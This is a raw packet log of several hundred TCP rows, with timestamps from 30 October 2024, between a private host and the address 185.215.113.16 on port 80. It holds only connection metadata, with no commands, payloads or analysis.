Oct 30, 2024 05:24:26.710490942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710503101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710506916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710532904 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710777044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710817099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710829020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710860014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710901022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710911989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710927963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710939884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710963011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.710977077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710988045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.710998058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.711030006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.711059093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.749994993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.750009060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.750020027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.750030994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.750056028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.750097990 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.751194954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.751207113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.751216888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.751259089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765141010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765155077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765183926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765191078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765202999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765216112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765230894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765233994 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765264034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765268087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765276909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765289068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765315056 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765337944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765372992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765384912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765394926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765420914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765511990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765537977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765558958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765580893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765605927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765618086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765629053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.765647888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.765675068 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.766571045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766621113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766634941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766657114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766669035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.766669035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766711950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766722918 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.766730070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766742945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766753912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766788960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.766830921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766856909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766866922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766891003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766892910 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.766902924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.766937017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.806632042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806693077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806704044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806715965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806720018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.806726933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806737900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806768894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.806807041 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.806957960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806967974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.806978941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807003975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807007074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807019949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807032108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807034969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807050943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807058096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807075977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807096004 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807102919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807178020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807195902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807207108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807226896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807254076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807287931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807297945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807308912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807327986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807347059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807353020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807358980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807370901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807401896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807471037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807482958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807493925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807523012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807529926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807543039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807552099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807555914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807574987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807693005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807722092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807733059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807739973 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807770014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807813883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807826996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807854891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807867050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807867050 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807878971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.807919025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.807990074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808001041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808012962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808034897 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.808065891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.808075905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808087111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808108091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808120966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808130980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808144093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.808177948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.808271885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808284044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808294058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.808315039 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.808343887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828259945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828279972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828293085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828304052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828315020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828332901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828351021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828373909 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828381062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828391075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828398943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828403950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828428984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828434944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828438997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828495026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828505993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828516006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828519106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828548908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828563929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828578949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828594923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828612089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828623056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828634024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828638077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828685045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828685045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828696012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828722000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828742981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828769922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828779936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828790903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828824043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828862906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828886032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828896046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828917980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.828970909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828984976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.828999996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829020977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829044104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829051971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829055071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829066992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829092026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829211950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829226017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829236984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829246998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829255104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829281092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829374075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829432011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829442978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829453945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829476118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829484940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829510927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829529047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829543114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829559088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829567909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829579115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829586983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829602957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829615116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829631090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829653025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829679012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829735994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829746962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829757929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829782009 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829785109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829797029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829802990 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829811096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829842091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.829909086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.829950094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.830001116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830010891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830020905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830034018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830044031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830044031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.830075026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.830116987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830137014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830148935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830159903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830178976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.830189943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.830244064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.830301046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.830312014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.869246960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.869260073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.869271040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.869298935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.869342089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.870449066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.870518923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.870557070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.870600939 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.884516001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884562016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884572983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884581089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.884602070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884613037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884618998 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.884625912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884654045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.884731054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.884768963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:26.884808064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:26.935937881 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.050307989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.055753946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480571985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480587006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480597019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480608940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480618954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480699062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.480699062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.480747938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480762005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480772972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480801105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.480817080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.480914116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480923891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480933905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480947971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480958939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480959892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.480973005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480983973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.480987072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.480997086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481009007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481004000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481023073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481039047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481049061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481050014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481061935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481071949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481076956 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481085062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481108904 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481138945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481153965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481209993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481332064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481344938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481357098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481378078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481395960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481408119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481419086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481430054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481437922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481446028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481456995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481460094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481468916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481478930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481482983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481492043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481503963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481515884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481543064 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481545925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481559038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481570005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481581926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481589079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481595039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481606007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481616020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481622934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481630087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481636047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:27.481643915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:27.481652975 CET	49760	80	192.168.2.6	185.215.113.16
